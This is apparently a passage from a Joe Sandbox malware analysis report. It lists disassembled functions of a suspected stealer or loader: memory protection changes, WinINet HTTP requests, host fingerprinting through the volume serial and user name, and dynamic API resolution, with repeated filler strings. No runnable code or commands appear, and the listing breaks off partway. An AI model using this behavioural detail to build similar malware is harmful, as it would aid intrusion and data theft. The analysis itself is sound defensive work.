                                    • Opcode Fuzzy Hash: f5137ce5bbbfe70aa5c686c35e724ede179a8eeef28a6be828c521fb50bf7a95
                                    • Instruction Fuzzy Hash: 2BA11FB5500200DFC364DFAAF8889567BEAE759F01B10865EF9898B258D73FA541CFA0
                                    Function 00E14610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 764 e14610-e146e5 RtlAllocateHeap 781 e146f0-e146f6 764->781 782 e146fc-e1479a 781->782 783 e1479f-e147f9 VirtualProtect 781->783 782->781
                                    APIs
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E1465E
                                    • VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00E147EC
                                    Strings
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14617
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14707
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1471D
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E147B5
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14672
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E147C0
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14622
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1462D
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146C8
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14779
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1479F
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146B2
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146D3
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1476E
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14688
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14728
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E147CB
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14638
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E147AA
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1467D
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146FC
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14763
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14643
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14712
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146A7
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E1478F
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14784
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E146BD
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14667
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E14693
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AllocateHeapProtectVirtual
                                    • String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
                                    • API String ID: 1542196881-2218711628
                                    • Opcode ID: ae2600d3ef7d725166f94cbe56101324a761f124f1e30d373446bf74b62977e2
                                    • Instruction ID: 25b3aa136f98d7a40b954d7aad19297eb3204e84eb78af5d398127062dc81797
                                    • Opcode Fuzzy Hash: ae2600d3ef7d725166f94cbe56101324a761f124f1e30d373446bf74b62977e2
                                    • Instruction Fuzzy Hash: 1841D0B1BCA78CEAE638BFA4B86EFDF7A625F5A746F907040A800623C0CF705600C555
                                    Function 00E162D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1033 e162d0-e1635b call e2aab0 call e14800 call e2aa50 InternetOpenA StrCmpCA 1040 e16364-e16368 1033->1040 1041 e1635d 1033->1041 1042 e16559-e16575 call e2aab0 call e2ab10 * 2 1040->1042 1043 e1636e-e16392 InternetConnectA 1040->1043 1041->1040 1062 e16578-e1657d 1042->1062 1045 e16398-e1639c 1043->1045 1046 e1654f-e16553 InternetCloseHandle 1043->1046 1048 e163aa 1045->1048 1049 e1639e-e163a8 1045->1049 1046->1042 1051 e163b4-e163e2 HttpOpenRequestA 1048->1051 1049->1051 1053 e16545-e16549 InternetCloseHandle 1051->1053 1054 e163e8-e163ec 1051->1054 1053->1046 1056 e16415-e16455 HttpSendRequestA HttpQueryInfoA 1054->1056 1057 e163ee-e1640f InternetSetOptionA 1054->1057 1058 e16457-e16477 call e2aa50 call e2ab10 * 2 1056->1058 1059 e1647c-e1649b call e28ad0 1056->1059 1057->1056 1058->1062 1067 e16519-e16539 call e2aa50 call e2ab10 * 2 1059->1067 1068 e1649d-e164a4 1059->1068 1067->1062 1071 e16517-e1653f InternetCloseHandle 1068->1071 1072 e164a6-e164d0 InternetReadFile 1068->1072 1071->1053 1076 e164d2-e164d9 1072->1076 1077 e164db 1072->1077 1076->1077 1080 e164dd-e16515 call e2acc0 call e2abb0 call e2ab10 1076->1080 1077->1071 1080->1072
                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14889
                                      • Part of subcall function 00E14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14899
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • InternetOpenA.WININET(00E30DFF,00000001,00000000,00000000,00000000), ref: 00E16331
                                    • StrCmpCA.SHLWAPI(?,0099FB60), ref: 00E16353
                                    • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E16385
                                    • HttpOpenRequestA.WININET(00000000,GET,?,0099F2D8,00000000,00000000,00400100,00000000), ref: 00E163D5
                                    • InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E1640F
                                    • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E16421
                                    • HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00E1644D
                                    • InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E164BD
                                    • InternetCloseHandle.WININET(00000000), ref: 00E1653F
                                    • InternetCloseHandle.WININET(00000000), ref: 00E16549
                                    • InternetCloseHandle.WININET(00000000), ref: 00E16553
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
                                    • String ID: ERROR$ERROR$GET
                                    • API String ID: 3749127164-2509457195
                                    • Opcode ID: 856aa213519692172c4632bb981459b37699372400853122a2c803e7ebb56db0
                                    • Instruction ID: c4e84c6b741df3c6a0b6a97bc30696dd91f17776d1254b44ecdf1a6d682a8a0d
                                    • Opcode Fuzzy Hash: 856aa213519692172c4632bb981459b37699372400853122a2c803e7ebb56db0
                                    • Instruction Fuzzy Hash: 67717E71A00218EBDB24DFA4DC59BEEB7B5BF44700F1094A8F10A7B184DBB56A84CF51
                                    Function 00E27690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1356 e27690-e276da GetWindowsDirectoryA 1357 e276e3-e27757 GetVolumeInformationA call e28e90 * 3 1356->1357 1358 e276dc 1356->1358 1365 e27768-e2776f 1357->1365 1358->1357 1366 e27771-e2778a call e28e90 1365->1366 1367 e2778c-e277a7 GetProcessHeap RtlAllocateHeap 1365->1367 1366->1365 1369 e277b8-e277e8 wsprintfA call e2aa50 1367->1369 1370 e277a9-e277b6 call e2aa50 1367->1370 1377 e2780e-e2781e 1369->1377 1370->1377
                                    APIs
                                    • GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00E276D2
                                    • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E2770F
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27793
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E2779A
                                    • wsprintfA.USER32 ref: 00E277D0
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
                                    • String ID: :$C$\
                                    • API String ID: 1544550907-3809124531
                                    • Opcode ID: 56cdd2fbe7e046886a2734f6f49b43f23c1520bad4bd4cbe96a852002ce5ee5b
                                    • Instruction ID: 9314d6c8cf8f6da73509669ceab96930632d82679c34464b3b1091409054f514
                                    • Opcode Fuzzy Hash: 56cdd2fbe7e046886a2734f6f49b43f23c1520bad4bd4cbe96a852002ce5ee5b
                                    • Instruction Fuzzy Hash: B741B4B1D04358DBDB10DF94DC45BDEBBB8AF08704F141099F649BB280D775AA44CBA5
                                    Function 00E279E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E111B7), ref: 00E27A10
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E27A17
                                    • GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E27A2F
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateNameProcessUser
                                    • String ID:
                                    • API String ID: 1296208442-0
                                    • Opcode ID: da5d5cb3fc5e1cc9fcb06ae46cd422c7e118c4875a3832488d7028b8acbb948d
                                    • Instruction ID: d3ede0110cac9f483804dd3cb0a311a6c1f910bb14af6d5ccc433300715b13cf
                                    • Opcode Fuzzy Hash: da5d5cb3fc5e1cc9fcb06ae46cd422c7e118c4875a3832488d7028b8acbb948d
                                    • Instruction Fuzzy Hash: 77F04FB1D44209EBC710DF99DD45BAEFBB8EB05B21F10025AFA15A6680C77955008BE1
                                    Function 00E11160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitInfoProcessSystem
                                    • String ID:
                                    • API String ID: 752954902-0
                                    • Opcode ID: df547dcf61afa436f9f10a10a31eae7ddd94e14ed30ab2c05c05484945590845
                                    • Instruction ID: e4c8b68684d2bc94604d5e1cd7de91396804c51975ee27b898ac5b5e086a96ef
                                    • Opcode Fuzzy Hash: df547dcf61afa436f9f10a10a31eae7ddd94e14ed30ab2c05c05484945590845
                                    • Instruction Fuzzy Hash: E7D05E74A0030CABCB14DFE598496DDBBB9FB08715F0005D8D90572240EA319481CBA5
                                    Function 00E29F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684libraryloaderCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 633 e29f20-e29f2a 634 e29f30-e2a341 GetProcAddress * 43 633->634 635 e2a346-e2a3da LoadLibraryA * 8 633->635 634->635 636 e2a456-e2a45d 635->636 637 e2a3dc-e2a451 GetProcAddress * 5 635->637 638 e2a463-e2a521 GetProcAddress * 8 636->638 639 e2a526-e2a52d 636->639 637->636 638->639 640 e2a5a8-e2a5af 639->640 641 e2a52f-e2a5a3 GetProcAddress * 5 639->641 642 e2a647-e2a64e 640->642 643 e2a5b5-e2a642 GetProcAddress * 6 640->643 641->640 644 e2a654-e2a72a GetProcAddress * 9 642->644 645 e2a72f-e2a736 642->645 643->642 644->645 646 e2a7b2-e2a7b9 645->646 647 e2a738-e2a7ad GetProcAddress * 5 645->647 648 e2a7bb-e2a7e7 GetProcAddress * 2 646->648 649 e2a7ec-e2a7f3 646->649 647->646 648->649 650 e2a825-e2a82c 649->650 651 e2a7f5-e2a820 GetProcAddress * 2 649->651 652 e2a922-e2a929 650->652 653 e2a832-e2a91d GetProcAddress * 10 650->653 651->650 654 e2a92b-e2a988 GetProcAddress * 4 652->654 655 e2a98d-e2a994 652->655 653->652 654->655 656 e2a996-e2a9a9 GetProcAddress 655->656 657 e2a9ae-e2a9b5 655->657 656->657 658 e2a9b7-e2aa13 GetProcAddress * 4 657->658 659 e2aa18-e2aa19 657->659 658->659
                                    APIs
                                    • GetProcAddress.KERNEL32(76210000,009853C8), ref: 00E29F3D
                                    • GetProcAddress.KERNEL32(76210000,009853E8), ref: 00E29F55
                                    • GetProcAddress.KERNEL32(76210000,00998FF8), ref: 00E29F6E
                                    • GetProcAddress.KERNEL32(76210000,00999010), ref: 00E29F86
                                    • GetProcAddress.KERNEL32(76210000,00999058), ref: 00E29F9E
                                    • GetProcAddress.KERNEL32(76210000,0099DA90), ref: 00E29FB7
                                    • GetProcAddress.KERNEL32(76210000,0098A8B0), ref: 00E29FCF
                                    • GetProcAddress.KERNEL32(76210000,0099DA30), ref: 00E29FE7
                                    • GetProcAddress.KERNEL32(76210000,0099DA48), ref: 00E2A000
                                    • GetProcAddress.KERNEL32(76210000,0099D808), ref: 00E2A018
                                    • GetProcAddress.KERNEL32(76210000,0099DA18), ref: 00E2A030
                                    • GetProcAddress.KERNEL32(76210000,00985428), ref: 00E2A049
                                    • GetProcAddress.KERNEL32(76210000,00985448), ref: 00E2A061
                                    • GetProcAddress.KERNEL32(76210000,00985468), ref: 00E2A079
                                    • GetProcAddress.KERNEL32(76210000,00985488), ref: 00E2A092
                                    • GetProcAddress.KERNEL32(76210000,0099D9E8), ref: 00E2A0AA
                                    • GetProcAddress.KERNEL32(76210000,0099D868), ref: 00E2A0C2
                                    • GetProcAddress.KERNEL32(76210000,0098A540), ref: 00E2A0DB
                                    • GetProcAddress.KERNEL32(76210000,009854E8), ref: 00E2A0F3
                                    • GetProcAddress.KERNEL32(76210000,0099D970), ref: 00E2A10B
                                    • GetProcAddress.KERNEL32(76210000,0099D988), ref: 00E2A124
                                    • GetProcAddress.KERNEL32(76210000,0099D838), ref: 00E2A13C
                                    • GetProcAddress.KERNEL32(76210000,0099D940), ref: 00E2A154
